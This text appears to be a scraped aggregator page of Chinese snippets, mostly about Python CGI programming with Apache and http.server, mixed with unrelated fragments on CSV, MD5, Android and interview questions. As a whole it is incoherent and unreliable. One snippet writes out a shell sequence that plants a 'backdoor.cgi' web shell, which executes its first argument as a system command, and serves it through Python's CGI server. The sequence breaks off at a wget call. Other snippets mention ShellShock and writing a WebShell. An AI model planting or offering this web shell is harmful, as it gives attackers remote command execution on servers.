直接将Python以mod_python模块的形式集成到Apache中。客户端请求到达apache,apache找到cgi脚本后,在服务器上直接使用指定python解释器来执行python脚本,然后将执行结果返回给client。如果要使用mod_python模块,那么mod_python可以让Python解释器直接成为apache的一部分,带来的直接效果就是使执行python cgi脚本的速度大大提高了。
在Web开发的早期,通用网关接口(Common Gateway Interface,简称CGI)是一种标准协议,允许Web服务器执行外部应用程序并返回动态生成的网页。虽然现代Web框架如Django和Flask已经普及,但对于初学者和特定场景,了解CGI编程仍然具有价值。本文将详细介绍如何使用Python进行CGI编程,从基础知识到实践案例,带你入门这一经典Web开发技术。
虽然现在开发web用的都是一些成熟的框架, 使我们可以不用关心底层的接口逻辑, 但是多了解一些底层的知识对我们也是有帮助的。
在阅读《python编程》第一章的CGI编程部分时,出现了无法响应的问题,最后参考 解决了问题,在此做个记录
15.1 屏幕抓取 屏幕抓取是程序下载网页并且提取信息的过程。 简单的屏幕抓取程序 from urllib import urlopen import re p = re.compile('
****CGI简介****:CGI程序可以是Python脚本,Perl脚本,Shell脚本,C或者C++程序等 ---- ****环境说明**** 操作系统 :Ubuntu Web服务器:Apache2 开发语言:Python ---- ****Step-One:加载cgi模块**** #默认apache2是没有加载cgi模块的 #在apache2/mods-enabled目录下创建cgi.load软链接 $cd /etc/apache2/mods-enabled && sudo ln -s ../mods
(1)打开httpd.conf文件,寻找ScriptAlias /cgi-bin/把其后的目录修改为你的.py文件的目录(注意必须是把文件放置在cgi-bin目录下)
在新的Python 3.x中,BaseHTTPServer, SimpleHTTPServer, CGIHTTPServer整合到http.server包,SocketServer改名为socketserver。
学过PHP的都了解,php的正式环境部署非常简单,改几个文件就OK,用FastCgi方式也是分分钟的事情。相比起来,Python在web应用上的部署就繁杂的多,主要是工具繁多,主流服务器支持不足,在了解Python的生产环境部署方式之前,先明确一些概念!很重要!
记得一开始接触web开发的时候,看视频,视频里面的老师一般都会语重心长的说:想当年我们一开始学习编程那会儿,都是用cgi编程,复杂的很,现在你们学习web编程,直接有现成的框架来用,十分简单。记得当然听完这句话之后就会觉得这个老师好有经验,技术很高。
ShellShock,也被称为Bashdoor,是Unix Bash shell中的一系列安全漏洞,第一个漏洞于2014年9月24日披露。ShellShock将允许攻击者使Bash执行任意命令,并获得对许多使用Bash处理请求的面向Internet的服务(如Web服务器)的未经授权的访问权限。
wsgi和asgi都是Web服务器网关接口。它们是一种规范,描述了Web服务器如何与Web应用程序(客户端)通信,以及如何将Web应用程序链接在一起以处理一个请求。
CGI(Common Gateway Interface) 是WWW技术中最重要的技术之一,有着不可替代的重要地位。CGI是外部应用程序(CGI程序)与Web服务器之间的接口标准,是在CGI程序和Web服务器之间传递信息的过程。CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静态超媒体文档变成一个完整的新的交互式媒体。
> > [Sat Apr 01 13:30:03 2006] [error] [client 127.0.0.1] C:/Program > > Files/Apache Group/Apache2/cgi-bin/test.py is not executable; ensure > > interpreted scripts have "#!" first line > > [Sat Apr 01 13:30:03 2006] [error] [client 127.0.0.1] (9)Bad file > > descriptor: don't know how to spawn child process: C:/Program Files/Apache > > Group/Apache2/cgi-bin/test.py
**注意,在Python 3.x中,BaseHTTPServer, SimpleHTTPServer, CGIHTTPServer整合到http.server包,SocketServer改名为socketserver,请注意查阅官方文档。 在上一篇文章中(用socket写一个Python服务器),我使用socket接口,制作了一个处理HTTP请求的Python服务器。任何一台装有操作系统和Python解释器的计算机,都可以作为HTTP服务器使用。我将在这里不断改写上一篇文章中的程序,引入更高级的Python
urlparse(urlstr, defProtSch=None, allowFrag=None)
1、python开启http服务器
gi的通信依靠stdout与浏览器通信。 所以简单地在py-cgi-index.py里面写: #!/usr/bin/env python print 'hello world' 这样写是不对的。 cgi接口规定,cgi脚本输出的开头应该是http header。 而hello world这种字符无法被识别为任何有效的http header, 所以如果访问http://localhost/python-cgi,会返回500错误。 解决办法有两个: 1、写上http header。 header与body之间必须有一个空行,以识别前面的是header,后面的是body。 代码改成: #!/usr/bin/env python print 'Content-Type: text/html\n\nhello world' 2、空白http header。 不写http header的情况下,apache会自动补上header。 代码改成: #!/usr/bin/env python
这依然是一个cgi的项目,有了前面的一个项目作为基础,这个里面没有什么难点。不过,和书上不同的是,我这里使用的数据库是mysql,所以有兴趣的童鞋,可以参考一下。
mercurial server 对于代码管理工具,更多的人可能更熟悉 Git 一些(Git 太火了)。其实另外一款分布式代码管理工具也被广泛的使用,它就是 mercurial。多人协作时,最好能够通过创建一个 mercurial server 对用户进行权限认证,同时也会方便持续集成。 关于创建 mercurial server 的步骤,mercurial 官方的 wiki 有说明,网上也有很多朋友分享了自己的创建过程。但笔者在创建的过程中还是颇费了一番周折才最终成功,所以也在此分享一下自己的经验,希望对
互联网飞速发展,在web开发的江湖中,除了武林盟主Java以外,许多脚本语言都参与进来分一杯羹。花开花落,花落花开,无数少年侠士在Web江湖演绎着自己的传说,不不负少年游。
使用 mod_python 的主要优势在于比传统 CGI 更高的性能 。
CGI(Common Gateway Interface),通用网关接口,它是一段程序,运行在服务器上如:HTTP服务器,提供同客户端HTML页面的接口。
在学习Python web开发时候,可能会遇到诸如uwsgi,wsgi等名词,下面通过梳理总结探究它们之间的关系。
一个模糊的概念 无论是php,python编程语言,还是apache,nginx服务器对于cgi协议是个绕不开的话题。安装,部署都会经常的看到,那么它们到底是干什么的,网上的答案非常的多!今天通过它们
网上大多数教程都给出了如下的开启服务器命令: BaseHTTPServer: 提供基本的Web服务和处理器类,分别是HTTPServer和BaseHTTPRequestHandler。 SimpleHTTPServer: 包含执行GET和HEAD请求的SimpleHTTPRequestHandler类。 CGIHTTPServer: 包含处理POST请求和执行CGIHTTPRequestHandler类。 ---- 然而,python3里已经没有这些东西了。取而代之的是,python -m http.se
根据用户输入的搜索条件,通过调用各种API接口,使用C++实现一个极简的Web搜索程序。
我在《Firefox Quantum 向左,Google Chrome 向右》中,曾经吐槽过在 Firefox 中使用 Galaxy 上传本地的 Excel 文件时,会出现 xlsx 无法识别异常的问题。今天,我们来聊一聊原因。
Ps:2019-1-18修改 我其实对这篇文章能有两万+的阅读量感觉很惊讶,占了我博客访问人数的很大一部分,我猜测可能确实是传统的Python web开发的学习方式都是从框架开始,而框架封装过度,让人难以理解背后的原理,最后只是简单的学习API和框架,同时学习Python的人中很大一部分其实是非计算机专业的同学,基础薄弱,想学习底层原理也不知道从何入手。 原先博文优点和缺点都很明显,缺点在于我只是简单罗列了资源,很多东西其实没有表达清楚,因为最初的目的,并不是教学,而是自己回顾和总结,优点可能在于他是比较系统化的展示出了web开发的演变过程,这其实有助于建立知识之间的联系和对web开发整体的理解。 后来我就考虑能否把文章的内容更加深入一些,用一套代码就能展现出这整个过程演变,而不是碎片化的资源罗列,把真正做成一个教学贴。但是因为拖延症一直没有完成,现在基本完成,我希望它会是一个好的学习指南,也希望读者能从学习这些代码的过程中,理解web开发的本质。
废话不多说,前面实现过使用linux c 或者python 充当客户端来获取http 响应,也利用muduo库实现过一个简易http服务器,现在来实现一个python版
当咱们部署完一个应用程序,浏览网页时具体的过程是怎样的呢?首先咱们得有一个 Web 服务器来处理 HTTP 协议的内容,Web 服务器得到客户端的请求,交给应用程序,应用程序处理完,返回给 Web 服务器,这时 Web 服务器再返回给客户端。Web 服务器与应用程序之间显然要进行交互,这时就出现了不少 Web 服务器与应用程序之间交互的规范,最先出现的是 CGI,后来又出现了改进 CGI 性能的FasgCGI,Java 专用的 Servlet 规范,Python 专用的 WSGI 规范等等。有了统一标准,程序的可移植性就大大提升了。
.03 最近在研究WebShell,于是打算写一个Python版的WebShell,使用的是cgi, Apache配置文件http.conf需做如下:
#基本HTTP python -m BaseHTTPServer 8080 如果当前目录有index.html 则可以直接显示 #简单HTTP 包含GET与HEAD请求 python -m SimpleHTTPServer 8080 #HTTP 包含POST请求 当前 python -m CGIHTTPServer 8080 已sh脚本为CGI程序的语言 如下: 当前目录下新建cgi-bin目录 #!/bin/bash echo "Content-Type: text/html" # HTML is fol
cd /tmp mkdir cgi-bin echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x ./cgi-bin/backdoor.cgi python -m http.server --cgi wget -q
我在 public-html 中运行了表单,并在 cgi-bin 中运行了 cgi 脚本。当我提交表单时,我收到一个空白页面。我曾让它与一个单独的表单一起工作,但在我添加更多值以提交后,我开始遇到问题。
Python 是一种极具可读性和通用性的编程语言。Python 这个名字的灵感来自于英国喜剧团体 Monty Python,它的开发团队有一个重要的基础目标,就是使语言使用起来很有趣。Python 易于设置,并且是用相对直接的风格来编写,对错误会提供即时反馈,对初学者而言是个很好的选择。
CGI(Common Gateway Interface)也叫通用网关接口,它是一个web服务器主机提供信息服务的标准接口,只要遵循这个接口,web服务器就能获取客户端提交的信息,转交给服务端的CGI程序进行处理,然后将处理结果返回给客户端。CGI通讯是由两部分组成的:一部分是用户的浏览器显示的页面,也就是html页面,另一部分则是运行在服务器上的CGI程序。
ASGI和WSGI,都是一种 Web 服务网关接口协议,是在CGI的标准上构建的。
逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)。纯文本意味着该文件是一个字符序列,不含必须像二进制数字那样被解读的数据。CSV文件由任意数目的记录组成,记录间以某种换行符分隔;每条记录由字段组成,字段间的分隔符是其它字符或字符串,最常见的是逗号或制表符。通常,所有记录都有完全相同的字段序列。通常都是纯文本文件。建议使用WORDPAD或是记事本来开启,再则先另存新档后用EXCEL开启,也是方法之一。
1.Python CGI响应HTTPget/post请求,test.py(Python CGI 配置请查看上篇文章)
我在Android开发过程中,积累的心得和最佳实践可以极大地提高开发效率和应用质量。首先要深入理解Activity和Fragment的生命周期。这对于管理应用的状态和避免内存泄漏至关重要。避免在主线程执行长时间运行的操作,使用异步处理机制,如AsyncTask或Kotlin协程。下文将是我开发时候遇到得问题总结以及解决方案一一作了详细说明。
版权声明:本文为木偶人shaon原创文章,转载请注明原文地址,非常感谢。 https://blog.csdn.net/wh211212/article/details/52982917
走到这里,跟C#语言进行处理,已经无多大的区别了。Python这种脚本式用来做服务端的数据提供者还是比较好。 Python语言在很多地方,特别是类型,类等方面跟JS很类似,但没有JS复杂。 浏览了一遍,能算学到一门语言?
告诉服务器cgi和pl后缀的文件都是cgi脚本,编写python脚本,并放入/var/www/cgi-bin/目录下
前言 最近主要是做了一些开源项目的源码分析工作,有c项目也有python项目,想提升一下内功,今天分享一下tinyhttpd源码分析的成果。tinyhttpd是一个非常轻量型的http服务器,c代码500行左右,可以帮助我们了解http服务器运行的实质。在分析之前,我们先说一下http报文。 HTTP请求 http请求由三部分组成,分别是:起始行、消息报头、请求正文 Request Line<CRLF> Header-Name: header-value<CRLF> Header-Name: header
对文件拷贝后进行MD5值比较,看是不是拷贝完全。google和baidu上都是使用md5模块读取所有的文件进内存,在计算md5,导致计算超过1G大小的文件报错。增量计算MD5的方法:
httplib实现了http和https的客户端协议,但是在python中,模块urllib和urllib2对httplib进行了更上层的封装。
缩进有利有弊。好处是强迫你写出格式化的代码,但没有规定缩进是几个空格还是Tab。按照约定俗成的惯例,应该始终坚持使用4个空格的缩进。
APACHE: http://www.fayea.com/apache-mirror/httpd/
今天给大家分享的是Python面试题系列的第一篇文章,后续我也会陆续整理Python相关的问题给大家,无论是求职者还是新人都可以通过面试题来考察自己的能力缺陷。 1.Python中pass语句的作用是什么? pass语句什么也不做,一般作为占位符或者创建占位程序,pass语句不会执行任何操作。 2.Python是如何进行类型转换的? Python提供了将变量或值从一种类型转换成另一种类型的内置函数。比如int函数能够将符合数学格式数字型字符串转换成整数。否则,返回错误信息。 3.Python是如何进行内
领取专属 10元无门槛券
手把手带您无忧上云